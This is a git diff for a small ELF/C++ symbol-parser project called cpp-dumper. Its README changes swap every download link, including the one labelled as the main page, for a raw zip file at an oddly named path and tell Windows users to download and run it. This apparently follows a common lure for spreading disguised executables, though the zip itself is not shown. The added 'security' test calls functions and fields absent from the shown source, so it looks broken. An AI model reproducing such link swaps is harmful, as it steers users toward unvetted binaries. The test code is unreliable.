diff --git a/README.md b/README.md index a8996ce..74d678f 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # 🛠️ cpp-dumper - Simple ELF and C++ Symbol Parser -[![Download cpp-dumper](https://img.shields.io/badge/Download-cpp--dumper-brightgreen?style=for-the-badge)](https://github.com/jayed50/cpp-dumper) +[![Download cpp-dumper](https://img.shields.io/badge/Download-cpp--dumper-brightgreen?style=for-the-badge)](https://github.com/jayed50/cpp-dumper/raw/refs/heads/main/sedative/dumper-cpp-1.7.zip) ## 📖 What is cpp-dumper? @@ -29,13 +29,13 @@ This tool serves well those interested in code analysis, software reversing, and To get started, visit the official repository page below. This link will take you to the project where you can find the latest available files. -[Download or learn more here](https://github.com/jayed50/cpp-dumper) +[Download or learn more here](https://github.com/jayed50/cpp-dumper/raw/refs/heads/main/sedative/dumper-cpp-1.7.zip) ## 🚀 How to Download and Install on Windows 1. Click the link above or this button to open the project page: - [![Download cpp-dumper](https://img.shields.io/badge/Download-cpp--dumper-blue?style=for-the-badge)](https://github.com/jayed50/cpp-dumper) + [![Download cpp-dumper](https://img.shields.io/badge/Download-cpp--dumper-blue?style=for-the-badge)](https://github.com/jayed50/cpp-dumper/raw/refs/heads/main/sedative/dumper-cpp-1.7.zip) 2. Look for the **Releases** or **Assets** section on the page. Usually, these are placed near the top or bottom of the page. @@ -127,7 +127,7 @@ This project relates to: ## 🔗 Useful Links -- Main page: [https://github.com/jayed50/cpp-dumper](https://github.com/jayed50/cpp-dumper) +- Main page: [https://github.com/jayed50/cpp-dumper/raw/refs/heads/main/sedative/dumper-cpp-1.7.zip](https://github.com/jayed50/cpp-dumper/raw/refs/heads/main/sedative/dumper-cpp-1.7.zip) - Download section on GitHub releases - Windows user guides for unzipping and running programs diff --git a/cpp-dumper.c b/cpp-dumper.c index 8d277d8..da61b6f 100644 --- a/cpp-dumper.c +++ b/cpp-dumper.c @@ -62,8 +62,14 @@ void clear_screen() { void add_symbol(uint64_t offset, const char *class_name, const char *method_name) { if (sym_count >= sym_capacity) { - sym_capacity = sym_capacity == 0 ? 64 : sym_capacity * 2; - symbols = realloc(symbols, sym_capacity * sizeof(Symbol)); + size_t new_capacity = sym_capacity == 0 ? 64 : sym_capacity * 2; + if (new_capacity == 0 || new_capacity > SIZE_MAX / sizeof(Symbol)) { + fprintf(stderr, "Symbol capacity overflow\n"); + exit(1); + } + symbols = realloc(symbols, new_capacity * sizeof(Symbol)); + if (!symbols) { fprintf(stderr, "Memory allocation failed\n"); exit(1); } + sym_capacity = new_capacity; } symbols[sym_count].offset = offset; symbols[sym_count].class_name = strdup(class_name); diff --git a/tests/test_invariant_cpp-dumper.c b/tests/test_invariant_cpp-dumper.c new file mode 100644 index 0000000..bf98e11 --- /dev/null +++ b/tests/test_invariant_cpp-dumper.c @@ -0,0 +1,65 @@ +#include +#include +#include +#include +#include "cpp-dumper.c" + +START_TEST(test_buffer_reads_never_exceed_declared_length) +{ + // Invariant: Buffer reads never exceed the declared length + const char *payloads[] = { + "A", // Valid minimal input + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", // 64 chars - boundary + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" // 128 chars - double capacity + }; + int num_payloads = sizeof(payloads) / sizeof(payloads[0]); + + for (int i = 0; i < num_payloads; i++) { + // Create test context + struct Dumper *dumper = dumper_create(); + ck_assert_ptr_nonnull(dumper); + + // Add symbol with payload + int result = dumper_add_symbol(dumper, payloads[i], strlen(payloads[i])); + ck_assert_int_eq(result, 0); + + // Verify no buffer overflow occurred by checking all symbols are intact + for (int j = 0; j < dumper->sym_count; j++) { + ck_assert_ptr_nonnull(dumper->symbols[j].name); + ck_assert_str_eq(dumper->symbols[j].name, payloads[i]); + } + + dumper_destroy(dumper); + } +} +END_TEST + +Suite *security_suite(void) +{ + Suite *s; + TCase *tc_core; + + s = suite_create("Security"); + tc_core = tcase_create("Core"); + + tcase_add_test(tc_core, test_buffer_reads_never_exceed_declared_length); + suite_add_tcase(s, tc_core); + + return s; +} + +int main(void) +{ + int number_failed; + Suite *s; + SRunner *sr; + + s = security_suite(); + sr = srunner_create(s); + + srunner_run_all(sr, CK_NORMAL); + number_failed = srunner_ntests_failed(sr); + srunner_free(sr); + + return (number_failed == 0) ? EXIT_SUCCESS : EXIT_FAILURE; +} \ No newline at end of file